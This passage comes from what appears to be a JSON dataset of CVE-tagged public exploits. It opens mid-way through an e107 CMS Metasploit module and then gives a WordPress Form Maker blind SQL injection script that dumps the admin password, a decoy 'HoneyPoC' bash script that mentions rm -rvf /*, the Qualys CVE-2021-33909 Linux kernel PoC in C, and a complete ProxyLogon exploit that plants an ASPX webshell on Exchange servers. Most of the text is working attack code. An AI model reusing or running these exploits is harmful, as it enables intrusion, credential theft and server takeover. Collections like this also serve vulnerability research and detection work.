'imap',\n 'mail_bounce_auto' => '1',\n 'updateprefs' => 'Save Changes'\n })\n\n\n vprint_status('Loading cron page to execute job manually')\n res = send_request_cgi(\n 'uri' => normalize_uri(target_uri.path, 'e107_admin', 'cron.php'),\n 'cookie' => cookie\n )\n\n unless res\n print_error('Error loading site. Check options.')\n return\n end\n\n if /name='e-token' value='(?\\w{32})'/ =~ res.body && /_system::procEmailBounce.+?cron_execute\\[(?\\d)\\]/m =~ res.body\n print_good(\"Triggering manual run of mail bounch check cron to execute payload with cron id #{cron_id} and etoken #{etoken}\")\n # The post request has several duplicate columns, however all were not required. Left them commented for documentation purposes\n send_request_cgi(\n 'method' => 'POST',\n 'uri' => normalize_uri(target_uri.path, 'e107_admin', 'cron.php'),\n 'cookie' => cookie,\n 'vars_post' => {\n 'e-token' => etoken,\n #'e-columns[]' => 'cron_category',\n 'e-columns[]' => 'cron_name',\n #'e-columns[]' => 'cron_description',\n #'e-columns[]' => 'cron_function',\n #'e-columns[]' => 'cron_tab',\n #'e-columns[]' => 'cron_lastrun',\n #'e-columns[]' => 'cron_active',\n \"cron_execute[#{cron_id}]\" => '1',\n 'etrigger_batch' => ''\n })\n\n else\n print_error('e-token not found, required for manual exploitation. Wait 60sec, cron may still trigger.')\n end\n\n print_status('IMAP server config left on server, manual removal required.')\n elsif target.name =~ /custom/\n print_status('Listener started for 300 seconds')\n print_good(\"POST request connection string: x #{command}}\")\n # URI.encode leaves + as + since that's a space encoded. So we manually change it.\n print_good(\"GET request connection string: #{URI.encode(\"x \" + command + \"}\").sub! '+', '%2B'}\")\n end\n end\nend" + }, + { + "created_at": "2021-07-26T14:12:26Z", + "cve": "CVE-2019-10866", + "urls": [ + "https://github.com/sepehrdaddev/0day-today-exploits/blob/4c60d5a5b65e42e6f67512596926f261fa10b668/32829.txt" + ], + "exploit": "# Exploit Title: WordPress Plugin Form Maker 1.13.3 - SQL Injection\n# Exploit Author: Daniele Scanu @ Certimeter Group\n# Vendor Homepage: some_host/plugins/\n# Version: 1.13.3\n# Tested on: Ubuntu 18.04\n# CVE : CVE-20**-*****\n\nimport requests\nimport time\n\nsession = requests.Session()\ndictionary = '@._-$/\\\\\"£%&;§+*123'\nflag = True\nusername = \"username\"\npassword = \"password\"\ntemp_password = \"\"\nTIME = 0.5\n\ndef login(username, password):\n payload = {\n 'log': username,\n 'pwd': password,\n 'wp-submit': 'Login',\n 'testcookie': 1\n }\n\ndef print_string(str):\n print \"\\033c\"\n print str\n\ndef get_admin_pass():\n len_pwd = 1\n global flag\n global temp_password\n while flag:\n flag = False\n ch_temp = ''\n for ch in dictionary:\n print_string(\"[*] Password dump: \" + temp_password + ch)\n ch_temp = ch\n start_time = time.time()\n r = session.get(url_vuln + ',(case+when+(select+ascii(substring(user_pass,' + str(len_pwd) + ',' + str(len_pwd) + '))+from+wp_users+where+id%3d1)%3d' + str(ord(ch)) + '+then+(select+sleep(' + str(TIME) + ')+from+wp_users+limit+1)+else+2+end)+asc%3b')\n elapsed_time = time.time() - start_time\n if elapsed_time >= TIME:\n flag = True\n break\n if flag:\n temp_password += ch_temp\n len_pwd += 1\n\nlogin(username, password)\nget_admin_pass()\nprint_string(\"[+] Password found: \" + temp_password)" + }, + { + "created_at": "2021-07-26T16:35:26Z", + "cve": "CVE-2021-22893", + "urls": [ + "https://github.com/ZephrFish/CVE-2021-22893" + ], + "exploit": "# CVE-2021-22893 RCE PoC\n# This is how dangerious not reading the source code is:\n# rm -rvf /*\n\nUSAGE=\"\nBash script to achieve RCE\nFlags:\n-c Target IP Address.\nusage: exploit.sh -c \nexample: exploit.sh -c 10.0.0.1\nexample: exploit.sh -l \nexample: exploit.sh -l ips.txt\n\"\nif [ $# -eq 0 ]; then\n echo \"$USAGE\"\n exit\nfi\necho \"HONEYPOC - NOT A REAL EXPLOIT\"\necho \"[!] Exploiting Host $1 $2\"\necho \"[+] Beginning Erasure of /\"\nsleep 5s\nls -aliRtu /\necho \"[!] Deleted Root File System.\"\nsleep 5s\necho \"We're no strangers to love\"\n# NX bypass for XP SP2/SP3\n# [ 'Windows XP SP2 Spanish (NX)',\n# {\n# 'Ret' => 0x6fdbf727,\n# 'DisableNX' => 0x6fdc16e2,\n# 'Scratch' => 0x00020408\n# }\n# ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL\necho \"You know the rules and so do I.\"\n# # NX bypass for XP SP2/SP3\n# [ 'Windows XP SP2 Finnish (NX)',\n# {\n# 'Ret' => 0x597df727,\n# 'DisableNX' => 0x597e16e2,\n# 'Scratch' => 0x00020408\n# }\n# ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL\n# \n# # NX bypass for XP SP2/SP3\n# [ 'Windows XP SP2 French (NX)',\n# {\n# 'Ret' => 0x595bf727,\n# 'DisableNX' => 0x595c16e2,\n# 'Scratch' => 0x00020408\n# }\n# ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL\n echo \"A full commitment's what I'm thinking of.\"\n# \n# # NX bypass for XP SP2/SP3\n# [ 'Windows XP SP2 Hebrew (NX)',\n# {\n# 'Ret' => 0x5940f727,\n# 'DisableNX' => 0x594116e2,\n# 'Scratch' => 0x00020408\n# }\n# ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL\n# \n# # NX bypass for XP SP2/SP3\n# [ 'Windows XP SP2 Hungarian (NX)',\n# {\n# 'Ret' => 0x5970f727,\n# 'DisableNX' => 0x597116e2,\n# 'Scratch' => 0x00020408\n# }\n# ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL\n\t\t echo \"You wouldn't get this from any other guy.\"\n# \n# # NX bypass for XP SP2/SP3\n# [ 'Windows XP SP2 Italian (NX)',\n# {\n# 'Ret' => 0x596bf727,\n# 'DisableNX' => 0x596c16e2,\n# 'Scratch' => 0x00020408\n# }\n# ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL\n# \n# # NX bypass for XP SP2/SP3\n# [ 'Windows XP SP2 Japanese (NX)',\n# {\n# 'Ret' => 0x567fd3be,\n# 'DisableNX' => 0x568016e2,\n# 'Scratch' => 0x00020408\n# }\n# ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL\n\t\t echo \"I just wanna tell you how I'm feeling.\"\n# \n# # NX bypass for XP SP2/SP3\n# [ 'Windows XP SP2 Korean (NX)',\n# {\n# 'Ret' => 0x6fd6f727,\n# 'DisableNX' => 0x6fd716e2,\n# 'Scratch' => 0x00020408\n# }\n# ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL\n# \n# # NX bypass for XP SP2/SP3\n# [ 'Windows XP SP2 Dutch (NX)',\n# {\n# 'Ret' => 0x596cf727,\n# 'DisableNX' => 0x596d16e2,\n# 'Scratch' => 0x00020408\n# }\n# ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL\n\t\t echo \"Gotta make you understand\"\n# \n# # NX bypass for XP SP2/SP3\n# [ 'Windows XP SP2 Norwegian (NX)',\n# {\n# 'Ret' => 0x597cf727,\n# 'DisableNX' => 0x597d16e2,\n# 'Scratch' => 0x00020408\n# }\n# ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL\n# \n# # NX bypass for XP SP2/SP3\n# [ 'Windows XP SP2 Polish (NX)',\n# {\n# 'Ret' => 0x5941f727,\n# 'DisableNX' => 0x594216e2,\n# 'Scratch' => 0x00020408\n# }\n# ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL\n\t\t echo \"Never gonna give you up.\"\n# \n# # NX bypass for XP SP2/SP3\n# [ 'Windows XP SP2 Portuguese - Brazilian (NX)',\n# {\n# 'Ret' => 0x596ff727,\n# 'DisableNX' => 0x597016e2,\n# 'Scratch' => 0x00020408\n# }\n# ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL\n# \n# # NX bypass for XP SP2/SP3\n# [ 'Windows XP SP2 Portuguese (NX)',\n# {\n# 'Ret' => 0x596bf727,\n# 'DisableNX' => 0x596c16e2,\n# 'Scratch' => 0x00020408\n# }\n# ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL\n\t\t echo \"Never gonna let you down.\"\n# \n# # NX bypass for XP SP2/SP3\n# [ 'Windows XP SP2 Russian (NX)',\n# {\n# 'Ret' => 0x6fe1f727,\n# 'DisableNX' => 0x6fe216e2,\n# 'Scratch' => 0x00020408\n# }\n# ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL\n# \n# # NX bypass for XP SP2/SP3\n# [ 'Windows XP SP2 Swedish (NX)',\n# {\n# 'Ret' => 0x597af727,\n# 'DisableNX' => 0x597b16e2,\n# 'Scratch' => 0x00020408\n# }\n# ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL\n\t\t echo \"Never gonna run around and desert you.\"\n# \n# # NX bypass for XP SP2/SP3\n# [ 'Windows XP SP2 Turkish (NX)',\n# {\n# 'Ret' => 0x5a78f727,\n# 'DisableNX' => 0x5a7916e2,\n# 'Scratch' => 0x00020408\n# }\n# ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL\n# \n# # NX bypass for XP SP2/SP3\n# [ 'Windows XP SP3 Arabic (NX)',\n# {\n# 'Ret' => 0x6fd8f807,\n# 'DisableNX' => 0x6fd917c2,\n# 'Scratch' => 0x00020408\n# }\n# ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL\n\t\t echo \"Never gonna make you cry.\"\n# \n# # NX bypass for XP SP2/SP3\n# [ 'Windows XP SP3 Chinese - Traditional / Taiwan (NX)',\n# {\n# 'Ret' => 0x5860f807,\n# 'DisableNX' => 0x586117c2,\n# 'Scratch' => 0x00020408\n# }\n# ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL\n# \n# # NX bypass for XP SP2/SP3\n# [ 'Windows XP SP3 Chinese - Simplified (NX)',\n# {\n# 'Ret' => 0x58fbf807,\n# 'DisableNX' => 0x58fc17c2,\n# 'Scratch' => 0x00020408\n# }\n# ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL\n\t\t echo \"Never gonna say goodbye.\"\n# \n# # NX bypass for XP SP2/SP3\n# [ 'Windows XP SP3 Chinese - Traditional (NX)',\n# {\n# 'Ret' => 0x5860f807,\n# 'DisableNX' => 0x586117c2,\n# 'Scratch' => 0x00020408\n# }\n# ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL\n# \n# # NX bypass for XP SP2/SP3\n# [ 'Windows XP SP3 Czech (NX)',\n# {\n# 'Ret' => 0x6fe1f807,\n# 'DisableNX' => 0x6fe217c2,\n# 'Scratch' => 0x00020408\n# }\n# ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL\n\t\t echo \"Never gonna tell a lie and hurt you.\"\n# \n# # NX bypass for XP SP2/SP3\n# [ 'Windows XP SP3 Danish (NX)',\n# {\n# 'Ret' => 0x5978f807,\n# 'DisableNX' => 0x597917c2,\n# 'Scratch' => 0x00020408\n# }\n# ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL\n# \n# # NX bypass for XP SP2/SP3\n# [ 'Windows XP SP3 German (NX)',\n# {\n# 'Ret' => 0x6fd9f807,\n# 'DisableNX' => 0x6fda17c2,\n# 'Scratch' => 0x00020408\n# }\n# ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL\n# \n# # NX bypass for XP SP2/SP3\n# [ 'Windows XP SP3 Greek (NX)',\n# {\n\n\necho \"[!] You should have read the source. HoneyPoC 3.0 - some_host/cve-20**-****-honeypoc/\"" + }, + { + "created_at": "2021-07-26T16:59:10Z", + "cve": "CVE-2021-33909", + "urls": [ + "https://github.com/Liang2580/CVE-2021-33909" + ], + "exploit": "/*\n * CVE-2021-33909: size_t-to-int vulnerability in Linux's filesystem layer\n * Copyright (C) 2021 Qualys, Inc.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#define _GNU_SOURCE\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\n#define PAGE_SIZE (4096)\n\n#define die() do { \\\n fprintf(stderr, \"died in %s: %u\\n\", __func__, __LINE__); \\\n exit(EXIT_FAILURE); \\\n} while (0)\n\nstatic void\nsend_recv_state(const int sock, const char * const sstate, const char rstate)\n{\n if (sstate) {\n if (send(sock, sstate, 1, MSG_NOSIGNAL) != 1) die();\n }\n if (rstate) {\n char state = 0;\n if (read(sock, &state, 1) != 1) die();\n if (state != rstate) die();\n }\n}\n\nstatic const char * bigdir;\nstatic char onedir[NAME_MAX + 1];\n\ntypedef struct {\n pid_t pid;\n int socks[2];\n size_t count;\n int delete;\n} t_userns;\n\nstatic int\nuserns_fn(void * const arg)\n{\n if (!arg) die();\n const t_userns * const userns = arg;\n const int sock = userns->socks[1];\n if (close(userns->socks[0])) die();\n\n send_recv_state(sock, NULL, 'A');\n\n size_t n;\n if (chdir(bigdir)) die();\n for (n = 0; n <= userns->count / (1 + (sizeof(onedir)-1) * 4); n++) {\n if (chdir(onedir)) die();\n }\n char device[] = \"./device.XXXXXX\";\n if (!mkdtemp(device)) die();\n char mpoint[] = \"/tmp/mpoint.XXXXXX\";\n if (!mkdtemp(mpoint)) die();\n if (mount(device, mpoint, NULL, MS_BIND, NULL)) die();\n\n if (userns->delete) {\n if (rmdir(device)) die();\n }\n if (chdir(\"/\")) die();\n\n send_recv_state(sock, \"B\", 'C');\n\n const int fd = open(\"/proc/self/mountinfo\", O_RDONLY);\n if (fd <= -1) die();\n static char buf[1UL << 20];\n size_t len = 0;\n for (;;) {\n ssize_t nbr = read(fd, buf, 1024);\n if (nbr <= 0) die();\n for (;;) {\n const char * nl = memchr(buf, '\\n', nbr);\n if (!nl) break;\n nl++;\n if (memmem(buf, nl - buf, \"\\\\134\", 4)) die();\n nbr -= nl - buf;\n memmove(buf, nl, nbr);\n len = 0;\n }\n len += nbr;\n if (memmem(buf, nbr, \"\\\\134\", 4)) break;\n }\n\n send_recv_state(sock, \"D\", 'E');\n die();\n}\n\nstatic void\nupdate_id_map(char * const mapping, const char * const map_file)\n{\n const size_t map_len = strlen(mapping);\n if (map_len >= SSIZE_MAX) die();\n if (map_len <= 0) die();\n\n size_t i;\n for (i = 0; i < map_len; i++) {\n if (mapping[i] == ',')\n mapping[i] = '\\n';\n }\n\n const int fd = open(map_file, O_WRONLY);\n if (fd <= -1) die();\n if (write(fd, mapping, map_len) != (ssize_t)map_len) die();\n if (close(fd)) die();\n}\n\nstatic void\nproc_setgroups_write(const pid_t child_pid, const char * const str)\n{\n const size_t str_len = strlen(str);\n if (str_len >= SSIZE_MAX) die();\n if (str_len <= 0) die();\n\n char setgroups_path[64];\n snprintf(setgroups_path, sizeof(setgroups_path), \"/proc/%ld/setgroups\", (long)child_pid);\n\n const int fd = open(setgroups_path, O_WRONLY);\n if (fd <= -1) {\n if (fd != -1) die();\n if (errno != ENOENT) die();\n return;\n }\n if (write(fd, str, str_len) != (ssize_t)str_len) die();\n if (close(fd)) die();\n}\n\nstatic void\nfork_userns(t_userns * const userns, const size_t size, const int delete)\n{\n static const size_t stack_size = (1UL << 20) + 2 * PAGE_SIZE;\n static char * stack = NULL;\n if (!stack) {\n stack = mmap(NULL, stack_size, PROT_NONE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_STACK, -1, 0);\n if (!stack || stack == MAP_FAILED) die();\n if (mprotect(stack + PAGE_SIZE, stack_size - 2 * PAGE_SIZE, PROT_READ | PROT_WRITE)) die();\n }\n\n if (!userns) die();\n userns->count = size / 2;\n userns->delete = delete;\n\n if (socketpair(AF_UNIX, SOCK_STREAM, 0, userns->socks)) die();\n userns->pid = clone(userns_fn, stack + stack_size - PAGE_SIZE, CLONE_NEWUSER | CLONE_NEWNS | SIGCHLD, userns);\n if (userns->pid <= -1) die();\n if (close(userns->socks[1])) die();\n userns->socks[1] = -1;\n\n char map_path[64], map_buf[64];\n snprintf(map_path, sizeof(map_path), \"/proc/%ld/uid_map\", (long)userns->pid);\n snprintf(map_buf, sizeof(map_buf), \"0 %ld 1\", (long)getuid());\n update_id_map(map_buf, map_path);\n\n proc_setgroups_write(userns->pid, \"deny\");\n snprintf(map_path, sizeof(map_path), \"/proc/%ld/gid_map\", (long)userns->pid);\n snprintf(map_buf, sizeof(map_buf), \"0 %ld 1\", (long)getgid());\n update_id_map(map_buf, map_path);\n\n send_recv_state(*userns->socks, \"A\", 'B');\n}\n\nstatic void\nwait_userns(t_userns * const userns)\n{\n if (!userns) die();\n if (kill(userns->pid, SIGKILL)) die();\n\n int status = 0;\n if (waitpid(userns->pid, &status, 0) != userns->pid) die();\n userns->pid = -1;\n if (!WIFSIGNALED(status)) die();\n if (WTERMSIG(status) != SIGKILL) die();\n\n if (close(*userns->socks)) die();\n *userns->socks = -1;\n}\n\nint\nmain(const int argc, const char * const argv[])\n{\n if (argc != 2) die();\n bigdir = argv[1];\n if (*bigdir != '/') die();\n\n if (sizeof(onedir) != 256) die();\n memset(onedir, '\\\\', sizeof(onedir)-1);\n if (onedir[sizeof(onedir)-1] != '\\0') die();\n\n puts(\"creating directories, please wait...\");\n if (mkdir(bigdir, S_IRWXU) && errno != EEXIST) die();\n if (chdir(bigdir)) die();\n size_t i;\n for (i = 0; i <= (1UL << 30) / (1 + (sizeof(onedir)-1) * 4); i++) {\n if (mkdir(onedir, S_IRWXU) && errno != EEXIST) die();\n if (chdir(onedir)) die();\n }\n if (chdir(\"/\")) die();\n\n static t_userns userns;\n fork_userns(&userns, (1UL << 31), 1);\n puts(\"crashing...\");\n send_recv_state(*userns.socks, \"C\", 'D');\n wait_userns(&userns);\n die();\n}" + }, + { + "created_at": "2021-07-26T17:20:40Z", + "cve": "CVE-2021-27065", + "urls": [ + "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-27065", + "https://github.com/p0wershe11/ProxyLogon" + ], + "exploit": "# -*- encoding: utf-8 -*-\n'''\n-------------------------------------------------------\n@File : ProxyLogon.py\n@Time : 2021/03/13 21:13:01\n@Version : 1.0.0\n@License : \n@Desc : \n@Author : p0wershe11, RGDZ\n-------------------------------------------------------\n'''\n\n\n\nfrom random import Random, randint, random\nimport re\nimport string\nimport sys\nimport json\nimport requests\nfrom urllib.parse import urlencode\nfrom struct import unpack\nfrom base64 import b64encode, b64decode\n\nfrom requests.packages.urllib3.exceptions import InsecureRequestWarning\n\nrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)\n\n\nclass IOFlow(str):\n\n def __init__(self) -> None:\n super().__init__()\n self._cout = sys.stdout\n\n def _write(self, s:str):\n self.cout.write(s)\n\n def __lshift__(self, s: str)->int:\n return self._cout.write(s)\n\nendl = \"\\n\"\ncout = IOFlow()\n\nclass Color:\n START = \"\\033[\"\n END = START+\"0m\"\n \n\n C_RED = START+\"31m\"\n C_GREEN = START+\"32m\"\n C_YELLOW = START+\"33m\"\n C_BLUE = START+\"34m\"\n\n # RANDOM_COLOR = random.choice()\n\nclass Color(Color):\n ALL_COLOR = {k:v for k, v in Color.__dict__.items() if \"C_\" in k}\n _COLOR_S = lambda color, s: color+s+Color.END\n\nclass Color(Color):\n\n RED_S = lambda s: Color._COLOR_S(Color.C_RED, s)\n GREEN_S = lambda s: Color._COLOR_S(Color.C_GREEN, s)\n YELLOW_S = lambda s: Color._COLOR_S(Color.C_YELLOW, s)\n BLUE_S = lambda s: Color._COLOR_S(Color.C_BLUE, s)\n\nclass Log:\n BASE_SYM = lambda sym: f\"{sym}\"\n TEMPLATE = lambda sym, msg: cout << f\"{sym}:{msg}\\n\"\n\nclass Log(Log):\n INFO_SYM = Log.BASE_SYM(Color.BLUE_S(\"[*]\"))\n WARING_SYM = Log.BASE_SYM(Color.YELLOW_S(\"[!]\"))\n SUCCESS_SYM = Log.BASE_SYM(Color.GREEN_S(\"[+]\"))\n\nclass Log(Log):\n info = lambda msg: Log.TEMPLATE(Log.INFO_SYM, msg)\n waring = lambda msg: Log.TEMPLATE(Log.WARING_SYM, msg)\n success = lambda msg: Log.TEMPLATE(Log.SUCCESS_SYM, msg)\n\n\nARGS = [dict(v) for v in [zip(v.split(\"=\")[0::2], v.split(\"=\")[1::2]) for v in sys.argv[1:]]]\n\n\ncheck_argv = lambda arg: arg in sys.argv\n\n\n\nHOST = \"\"\nMAIL = \"\"\nMAILS = \"\"\nLOCAL_NAME = \"\"\n\nascii_letters = string.ascii_letters\nSHELL_NAME = \"\".join(ascii_letters[randint(0, len(ascii_letters)-1)] for i in range(10))\nFILE_PATH = f'C:\\\\inetpub\\\\wwwroot\\\\aspnet_client\\\\{SHELL_NAME}.aspx'\nFILE_DATA = ''\n\n\ndef _unpack_str(byte_string):\n return byte_string.decode('UTF-8').replace('\\x00', '')\n\ndef _unpack_int(format, data):\n return unpack(format, data)[0]\n\n\ndef exploit(path, qs='', data='', cookies=[], headers={}):\n global HOST, LOCAL_NAME\n\n cookies = list(cookies)\n cookies.extend([f\"X-BEResource=a]@{LOCAL_NAME}:444{path}?{qs}#~1941962753\"])\n if not headers:\n headers = {\n 'Content-Type': 'application/json'\n }\n headers['Cookie'] = ';'.join(cookies)\n headers['msExchLogonMailbox'] = 'S-1-5-20'\n\n url = f\"https://{HOST}/ecp/y.js\"\n resp = requests.post(url, headers=headers, data=data, verify=False, allow_redirects=False)\n return resp\n\ndef parse_challenge(auth):\n target_info_field = auth[40:48]\n target_info_len = _unpack_int('H', target_info_field[0:2])\n target_info_offset = _unpack_int('I', target_info_field[4:8])\n\n target_info_bytes = auth[target_info_offset:target_info_offset+target_info_len]\n\n domain_name = ''\n computer_name = ''\n info_offset = 0\n while info_offset < len(target_info_bytes):\n av_id = _unpack_int('H', target_info_bytes[info_offset:info_offset+2])\n av_len = _unpack_int('H', target_info_bytes[info_offset+2:info_offset+4])\n av_value = target_info_bytes[info_offset+4:info_offset+4+av_len]\n\n info_offset = info_offset + 4 + av_len\n if av_id == 2: # MsvAvDnsDomainName\n domain_name = _unpack_str(av_value)\n elif av_id == 3: # MsvAvDnsComputerName\n computer_name = _unpack_str(av_value)\n return domain_name, computer_name\n\ndef get_local_name():\n global LOCAL_NAME\n Log.info(\"Getting ComputerName and DomainName.\")\n ntlm_type1 = (\n b'NTLMSSP\\x00' # NTLMSSp Signature\n b'\\x01\\x00\\x00\\x00' # Message Type\n b'\\x97\\x82\\x08\\xe2' # Flags\n b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00' # Domain String\n b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00' # Workstation String\n b'\\x0a\\x00\\xba\\x47\\x00\\x00\\x00\\x0f' # OS Version\n )\n headers = {\n 'Authorization': f'Negotiate {b64encode(ntlm_type1).decode()}'\n }\n # print(headers)\n # assert False\n r = requests.get(f'https://{HOST}/rpc/', headers=headers, verify=False)\n assert r.status_code == 401, \"Error while getting ComputerName\"\n auth_header = r.headers['WWW-Authenticate']\n auth = re.search('Negotiate ([A-Za-z0-9/+=]+)', auth_header).group(1)\n domain_name, computer_name = parse_challenge(b64decode(auth))\n if not domain_name:\n Log.waring(\"DomainName not found.\")\n return exit(0)\n if not computer_name:\n Log.waring(\"ComputerName not found\")\n return exit(0)\n Log.info(f\"Domain Name = {domain_name}\")\n Log.info(f\"Computer Name = {computer_name}\")\n LOCAL_NAME = computer_name\n\n\ndef get_sid(mail):\n payload = f'''\n\n \n {mail}\n http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a\n \n\n'''\n headers = {\n 'User-Agent': 'ExchangeServicesClient/0.0.0.0', \n 'Content-Type': 'text/xml'\n }\n resp = exploit('/autodiscover/autodiscover.xml', qs='', data=payload, headers=headers)\n res = re.search('(.*?)', resp.text)\n if not res:\n Log.waring(\"LegacyDN not found!\")\n return\n\n headers = {\n 'X-Clientapplication': 'Outlook/15.0.4815.1002', \n 'X-Requestid': 'x', \n 'X-Requesttype': 'Connect', \n 'Content-Type': 'application/mapi-http', \n }\n legacyDN = res.group(1)\n payload = legacyDN + '\\x00\\x00\\x00\\x00\\x00\\x20\\x04\\x00\\x00\\x09\\x04\\x00\\x00\\x09\\x04\\x00\\x00\\x00\\x00\\x00\\x00'\n r = exploit('/mapi/emsmdb/', qs='', data=payload, headers=headers)\n result = re.search('with SID ([S\\-0-9]+) ', r.text)\n if not result:\n Log.waring(f\"Not Found user: {mail}\")\n return None\n sid = result.group(1)\n Log.info(f\"sid:{sid}\")\n if \"500\" not in sid.split(\"-\"):\n Log.waring(\"500 not in sid.\")\n sid = \"-\".join(sid.split(\"-\")[:-1]+[\"500\"])\n Log.info(f\"add -500, sid:{sid}\")\n return sid\n\n \n\n\ndef exp(mail_name, sid):\n payload = f'{sid}'\n resp = exploit('/ecp/proxyLogon.ecp', qs='', data=payload)\n Log.waring(f\"Login status code:{resp.status_code}\")\n\n session_id = resp.cookies.get('ASP.NET_SessionId')\n canary = resp.cookies.get('msExchEcpCanary')\n Log.info(f'get ASP.NET_SessionId = {session_id}')\n Log.info(f\"get msExchEcpCanary = {canary}\")\n \n extra_cookies = [\n 'ASP.NET_SessionId='+session_id, \n 'msExchEcpCanary='+canary\n ]\n qs = urlencode({\n 'schema': 'OABVirtualDirectory', \n 'msExchEcpCanary': canary\n })\n r = exploit('/ecp/DDI/DDIService.svc/GetObject', qs=qs, data='', cookies=extra_cookies)\n identity = r.json()['d']['Output'][0]['Identity']\n Log.info(f\"OAB Name = f{identity['DisplayName']}\")\n Log.info(f\"OAB ID = {identity['RawIdentity']}\")\n\n # Set-OABVirtualDirectory\n Log.info(\"Setting up webshell payload through OAB\")\n qs = urlencode({\n 'schema': 'OABVirtualDirectory', \n 'msExchEcpCanary': canary\n })\n payload = json.dumps({\n 'identity': {\n '__type': 'Identity:ECP', \n 'DisplayName': identity['DisplayName'], \n 'RawIdentity': identity['RawIdentity']\n }, \n 'properties': {\n 'Parameters': {\n '__type': 'JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel', \n 'ExternalUrl': 'some_host/' + FILE_DATA\n }\n }\n })\n r = exploit('/ecp/DDI/DDIService.svc/SetObject', qs=qs, data=payload, cookies=extra_cookies)\n assert r.status_code == 200, 'Error while setting up webshell payload'\n Log.success(\"Setting up webshell payload OK!\")\n\n # save file\n Log.info(\"Writing shell...\")\n qs = urlencode({\n 'schema': 'ResetOABVirtualDirectory', \n 'msExchEcpCanary': canary\n })\n payload = json.dumps({\n 'identity': {\n '__type': 'Identity:ECP', \n 'DisplayName': identity['DisplayName'], \n 'RawIdentity': identity['RawIdentity']\n }, \n 'properties': {\n 'Parameters': {\n '__type': 'JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel', \n 'FilePathName': FILE_PATH\n }\n }\n })\n resp = exploit('/ecp/DDI/DDIService.svc/SetObject', qs=qs, data=payload, cookies=extra_cookies)\n if resp.status_code != 200:\n Log.waring(f\"Error while writing shell, status code is {resp.status_code}\")\n return\n\n\n Log.info(\"Cleaning OAB...\")\n qs = urlencode({\n 'schema': 'OABVirtualDirectory', \n 'msExchEcpCanary': canary\n })\n payload = json.dumps({\n 'identity': {\n '__type': 'Identity:ECP', \n 'DisplayName': identity['DisplayName'], \n 'RawIdentity': identity['RawIdentity']\n }, \n 'properties': {\n 'Parameters': {\n '__type': 'JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel', \n 'ExternalUrl': ''\n }\n }\n })\n resp = exploit('/ecp/DDI/DDIService.svc/SetObject', qs=qs, data=payload, cookies=extra_cookies)\n Log.info(f\"resp:{resp.status_code}\")\n Log.success(f\"shell: https://{HOST}/aspnet_client/{SHELL_NAME}.aspx\")\n\n\n\ndef run(runner):\n global HOST, MAILS\n f = open(MAILS)\n try:\n while True:\n mail = next(f)[:-1]\n return runner(mail)\n except:\n Log.waring(\"mails file has been read.\")\n\ndef runner(mail):\n get_local_name()\n sid = get_sid(mail)\n if not sid:\n return\n return exp(mail.split('@')[0], sid)\n\ndef main():\n global HOST, MAILS, MAIL, ARGS\n args = {}\n for v in ARGS:\n args.update(v)\n\n HOST = args.get(\"--host\")\n if not HOST:\n return help()\n \n MAIL=args.get(\"--mail\")\n if MAIL:\n return runner(MAIL)\n\n MAILS=args.get(\"--mails\")\n if MAILS:\n return run(runner)\n\ndef help():\n cout << f\"\"\"usage:\n python {__file__} --host=exchange.com --mail=admin@exchange.com\n python {__file__} --host=exchange.com --mails=./mails.txt\nargs:\n --host: target's address.\n --mail: exists user's mail.\n --mails: mails file.\n \"\"\"\n cout << endl\n\ndef Logo():\n return ''' \n=============================================================\n \n ___ _ \n| . \\ _ _ ___ __ _ _ | | ___ ___ ___ ._ _ \n| _/| '_>/ . \\\\ \/| | || |_ / . \/ . |/ . \\| ' |\n|_| |_| \\___//\\_\\`_. ||___|\\___/\\_. |\\___/|_|_|\n <___' <___' \n\n author: p0wershe11,RGDZ\n=============================================================\n'''\n\n\nif __name__ == \"__main__\":\n cout << Logo()\n main()" + }, + { + "created_at": 